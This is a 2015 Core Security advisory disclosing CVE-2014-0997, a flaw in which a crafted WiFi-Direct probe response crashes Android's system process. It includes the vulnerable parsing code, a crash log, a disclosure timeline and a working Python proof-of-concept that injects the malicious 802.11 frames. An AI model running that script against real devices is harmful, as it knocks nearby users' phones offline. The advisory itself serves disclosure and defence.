Android WiFi-Direct Denial Of Service

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Android WiFi-Direct Denial of Service  
  
  
1. *Advisory Information*  
  
Title: Android WiFi-Direct Denial of Service  
Advisory ID: CORE-2015-0002  
Advisory URL:  
http://www.coresecurity.com/advisories/android-wifi-direct-denial-service  
Date published: 2015-01-26  
Date of last update: 2015-01-26  
Vendors contacted: Android Security Team  
Release mode: User release  
  
  
2. *Vulnerability Information*  
  
Class: Uncaught Exception [CWE-248]  
Impact: Denial of service  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2014-0997  
  
  
3. *Vulnerability Description*  
  
Some Android devices are affected by a Denial of Service attack when  
scanning for WiFi Direct devices.  
  
An attacker could send a specially crafted 802.11 Probe Response frame  
causing the Dalvik subsystem to reboot because of an Unhandle Exception  
on WiFiMonitor class.  
  
  
4. *Vulnerable Packages*  
  
. Nexus 5 - Android 4.4.4  
. Nexus 4 - Android 4.4.4  
. LG D806 - Android 4.2.2  
. Samsung SM-T310 - Android 4.2.2  
. Motorola RAZR HD - Android 4.1.2  
  
Other devices could be also affected.  
  
  
5. *Non-vulnerable packages*  
  
. Android 5.0.1  
. Android 5.0.2  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
Some mitigation actions may be to avoid using WiFi-Direct or update  
to a non-vulnerable Android version.  
Contact vendor for further information.  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Andres Blanco  
from the CoreLabs  
Team. The publication of this advisory was coordinated by the Core  
Advisories  
Team.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
  
Android makes use of a modified *wpa_supplicant*[1]  
in order to provide an interface between the wireless driver and the  
Android platform framework.  
  
Below the function that handles *wpa_supplicant* events. This function  
returns a jstring from calling NewStringUTF method.  
  
/-----  
static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject)  
{  
char buf[EVENT_BUF_SIZE];  
int nread = ::wifi_wait_for_event(buf, sizeof buf);  
if (nread > 0) {  
return env->NewStringUTF(buf);  
} else {  
return NULL;  
}  
}  
-----/  
  
The WiFi-Direct specification defines the P2P discovery procedure to  
enable P2P  
devices to exchange device information, the device name is part of  
this information.  
  
The WifiP2pDevice class, located at  
/wifi/java/android/net/wifi/p2p/WifiP2pDevice.java,  
represents a Wi-Fi p2p device. The constructor method receives the  
string provided by  
the *wpa_supplicant* and throws an IllegalArgumentException in case  
the event is malformed.  
  
Below partial content of the WiFiP2PDevice.java file.  
  
/-----  
[...]  
  
/** Detailed device string pattern with WFD info  
* Example:  
* P2P-DEVICE-FOUND 00:18:6b:de:a3:6e  
p2p_dev_addr=00:18:6b:de:a3:6e  
* pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E'  
config_methods=0x188  
* dev_capab=0x21 group_capab=0x9  
*/  
private static final Pattern detailedDevicePattern =  
Pattern.compile(  
"((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +  
"(\\d+ )?" +  
"p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +  
"pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " +  
"name='(.*)' " +  
"config_methods=(0x[0-9a-fA-F]+) " +  
"dev_capab=(0x[0-9a-fA-F]+) " +  
"group_capab=(0x[0-9a-fA-F]+)" +  
"( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?"  
);  
  
[...]  
  
/**  
* @param string formats supported include  
* P2P-DEVICE-FOUND fa:7b:7a:42:02:13  
p2p_dev_addr=fa:7b:7a:42:02:13  
* pri_dev_type=1-0050F204-1 name='p2p-TEST1'  
config_methods=0x188 dev_capab=0x27  
* group_capab=0x0 wfd_dev_info=000006015d022a0032  
*  
* P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13  
*  
* AP-STA-CONNECTED 42:fc:89:a8:96:09  
[p2p_dev_addr=02:90:4c:a0:92:54]  
*  
* AP-STA-DISCONNECTED 42:fc:89:a8:96:09  
[p2p_dev_addr=02:90:4c:a0:92:54]  
*  
* fa:7b:7a:42:02:13  
*  
* Note: The events formats can be looked up in the  
wpa_supplicant code  
* @hide  
*/  
public WifiP2pDevice(String string) throws  
IllegalArgumentException {  
String[] tokens = string.split("[ \n]");  
Matcher match;  
  
if (tokens.length < 1) {  
throw new IllegalArgumentException("Malformed supplicant  
event");  
}  
  
switch (tokens.length) {  
case 1:  
/* Just a device address */  
deviceAddress = string;  
return;  
case 2:  
match = twoTokenPattern.matcher(string);  
if (!match.find()) {  
throw new IllegalArgumentException("Malformed  
supplicant event");  
}  
deviceAddress = match.group(2);  
return;  
case 3:  
match = threeTokenPattern.matcher(string);  
if (!match.find()) {  
throw new IllegalArgumentException("Malformed  
supplicant event");  
}  
deviceAddress = match.group(1);  
return;  
default:  
match = detailedDevicePattern.matcher(string);  
if (!match.find()) {  
throw new IllegalArgumentException("Malformed  
supplicant event");  
}  
  
deviceAddress = match.group(3);  
primaryDeviceType = match.group(4);  
deviceName = match.group(5);  
wpsConfigMethodsSupported = parseHex(match.group(6));  
deviceCapability = parseHex(match.group(7));  
groupCapability = parseHex(match.group(8));  
if (match.group(9) != null) {  
String str = match.group(10);  
wfdInfo = new  
WifiP2pWfdInfo(parseHex(str.substring(0,4)),  
parseHex(str.substring(4,8)),  
parseHex(str.substring(8,12)));  
}  
break;  
}  
  
if (tokens[0].startsWith("P2P-DEVICE-FOUND")) {  
status = AVAILABLE;  
}  
}  
  
[...]  
-----/  
  
On some Android devices when processing a probe response frame with a  
WiFi-Direct(P2P)  
information element that contains a device name attribute with  
specific bytes generates  
a malformed supplicant event string that ends up throwing the  
IllegalArgumentException.  
As this exception is not handled the Android system restarts.  
  
Below partial content of the logcat of a Samsung SM-T310 running  
Android 4.2.2.  
  
/-----  
I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00  
p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬'  
config_methods=0x188 dev_capab=0x21 group_capab=0x0  
E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS:  
WifiMonitor  
E/AndroidRuntime( 2129): java.lang.IllegalArgumentException:  
Malformed supplicant event  
E/AndroidRuntime( 2129): at  
android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229)  
E/AndroidRuntime( 2129): at  
android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966)  
E/AndroidRuntime( 2129): at  
android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574)  
E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o  
/data/log/dumpstate_sys_error  
-----/  
  
  
8.1. *Proof of Concept*  
  
  
This PoC was implemented using the open source library Lorcon  
[2] and PyLorcon2 [3], a Python wrapper for the Lorcon library.  
  
/-----  
#!/usr/bin/env python  
  
import sys  
import time  
import struct  
import PyLorcon2  
  
  
def get_probe_response(source, destination, channel):  
frame = str()  
frame += "\x50\x00" # Frame Control  
frame += "\x00\x00" # Duration  
frame += destination  
frame += source  
frame += source  
frame += "\x00\x00" # Sequence Control  
frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp  
frame += "\x64\x00" # Beacon Interval  
frame += "\x30\x04" # Capabilities Information  
  
# SSID IE  
frame += "\x00"  
frame += "\x07"  
frame += "DIRECT-"  
  
# Supported Rates  
frame += "\x01"  
frame += "\x08"  
frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"  
  
# DS Parameter Set  
frame += "\x03"  
frame += "\x01"  
frame += struct.pack("B", channel)  
  
# P2P  
frame += "\xDD"  
frame += "\x27"  
frame += "\x50\x6F\x9A"  
frame += "\x09"  
# P2P Capabilities  
frame += "\x02" # ID  
frame += "\x02\x00" # Length  
frame += "\x21\x00"  
# P2P Device Info  
frame += "\x0D" # ID  
frame += "\x1B\x00" # Length  
frame += source  
frame += "\x01\x88"  
frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"  
frame += "\x00"  
frame += "\x10\x11"  
frame += "\x00\x06"  
frame += "fafa\xFA\xFA"  
  
return frame  
  
  
def str_to_mac(address):  
return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))  
  
  
if __name__ == "__main__":  
if len(sys.argv) != 3:  
print "Usage:"  
print " poc.py <iface> <target>"  
print "Example:"  
print " poc.py wlan0 00:11:22:33:44:55"  
sys.exit(-1)  
  
iface = sys.argv[1]  
destination = str_to_mac(sys.argv[2])  
  
context = PyLorcon2.Context(iface)  
context.open_injmon()  
  
channel = 1  
source = str_to_mac("00:11:22:33:44:55")  
frame = get_probe_response(source, destination, channel)  
  
print "Injecting PoC."  
for i in range(100):  
context.send_bytes(frame)  
time.sleep(0.100)  
-----/  
  
  
9. *Report Timeline*  
  
. 2014-09-26:  
Core Security contacts Android security team to inform them that  
a vulnerability has been found in Android. Core Security sends a draft  
advisory with technical details and PoC files.  
. 2014-09-29:  
Android Security Team acknowledges reception of the advisory.  
. 2014-09-30:  
Core Security notifies that the tentative publication date is  
set for Oct 20rd, 2014.  
. 2014-09-30:  
Android Security Team acknowledges.  
. 2014-10-16:  
Core Security requests a status update.  
. 2014-10-16:  
Android Security Team responds that they have classify the  
vulnerability as low severity and don't currently have a timeline for  
releasing a fix.  
. 2014-10-20:  
Core Security does not completely agrees with the vulnerability  
classification and reschedule the publication of the advisory.  
. 2014-10-16:  
Android Security Team acknowledges and strengthens it's position  
that they don't currently have a timeline for releasing a fix.  
. 2015-01-06:  
Core Security requests a status update.  
. 2015-01-12:  
Core Security asks for confirmation of reception of the previous  
email.  
. 2015-01-16:  
Android Security Team acknowledges and respond that they don't  
currently have a timeline for releasing a fix.  
. 2015-01-19:  
Core Security notifies that vendor cooperation is needed in  
order to keep this process coordinated. If vendor refuses to provide the  
requested information the advisory will be released tagged as 'user  
release'. The advisory is re-scheduled for January 26th, 2015.  
. 2015-01-20:  
Android Security Team acknowledges and respond that they don't  
currently have a timeline for releasing a fix.  
. 2015-01-26:  
The advisory CORE-2015-0002 is published.  
  
  
10. *References*  
  
[1] - wpa_supplicant site. http://w1.fi/wpa_supplicant/  
[2] - Lorcon site. https://code.google.com/p/lorcon  
[3] - PyLorcon2 site. http://code.google.com/p/pylorcon2  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security, is charged with  
anticipating  
the future needs and requirements for information security technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at:  
http://corelabs.coresecurity.com.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies enables organizations to get ahead of threats  
with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
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Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright  
(c) 2014 Core Security and (c) 2014 CoreLabs,  
and are licensed under a Creative Commons  
Attribution Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
advisories team, which is available for download at  
  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
`